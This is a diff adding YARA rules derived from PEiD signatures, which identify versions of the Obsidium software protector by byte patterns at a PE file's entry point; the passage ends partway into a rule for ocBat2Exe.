+rule PEiD_01386_Obsidium_1_3_3_3____Obsidium_Software___Sign_By_haggar_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software * Sign.By.haggar]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01387_Obsidium_1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01388_Obsidium_1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01389_Obsidium_1_3_3_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01390_Obsidium_1_3_3_6____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.6 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01391_Obsidium_1_3_3_6____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.6 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01392_Obsidium_1_3_3_7__2007_06_23_____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.7 (2007.06.23) -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 F7 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01393_Obsidium_1_3_3_7____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.7 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01394_Obsidium_1_3_3_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01395_Obsidium_1_3_3_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01396_Obsidium_1_3_3_9____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.9 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01397_Obsidium_1_3_3_9____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.9 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01398_Obsidium_1_3_4_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.4.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01399_Obsidium_1_3_4_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.4.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01400_Obsidium_v1_0_0_61_
+{
+    meta:
+        description = "[Obsidium v1.0.0.61]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AF 1C 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01401_Obsidium_v1_1_1_1_
+{
+    meta:
+        description = "[Obsidium v1.1.1.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 E7 1C 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01402_Obsidium_V1_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 77 1E 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01403_Obsidium_V1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01404_Obsidium_V1_2_5_8_V1_3_3_X____Obsidium_Software___Sign_by_fly_
+{
+    meta:
+        description = "[Obsidium V1.2.5.8-V1.3.3.X -> Obsidium Software ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 ?? 00 00 00 EB 02 ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01405_Obsidium_V1_2_X____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2.X -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 33 C0 8B 54 24 0C 83 82 B8 00 00 00 0D C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01406_Obsidium_V1_25____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.25 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01407_Obsidium_v1_3_0_0____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.0 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01408_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01409_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01410_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01411_Obsidium_v1_3_0_37____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.37 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01412_Obsidium_v1_3_0_37____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.37 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01413_Obsidium_v1_3_0_4____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.4 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01414_Obsidium_V1_3_0_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01415_Obsidium_V1_3_0_X____Obsidium_Software___Sign_by_fly_
+{
+    meta:
+        description = "[Obsidium V1.3.0.X -> Obsidium Software ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B ?? ?? ?? EB 04 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01416_Obsidium_V1_3_1_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.1.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01417_Obsidium_V1_3_2_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.2.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01418_Obsidium_v1_3_3_1____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.3.1 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01419_Obsidium_V1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01420_Obsidium_V1_3_3_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01421_Obsidium_V1_3_3_7____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.7 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01422_Obsidium_V1_3_4_2____Obsidium_Software_nbsp___nbsp___Sign_By_fly_
+{
+    meta:
+        description = "[Obsidium V1.3.4.2 -> Obsidium Software&nbsp; &nbsp;* Sign.By.fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 C3 27 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01423_Obsidium_V1_3_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? ?? ?? ?? EB 01 ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01424_Obsiduim_1_3_0_4____Obsiduim_Software_
+{
+    meta:
+        description = "[Obsiduim 1.3.0.4 -> Obsiduim Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01425_ocBat2Exe_1_0____OC_
+{
+    meta:
+        description = "[ocBat2Exe 1.0 -> OC]"
+        ep_only = "true"
+    strings:
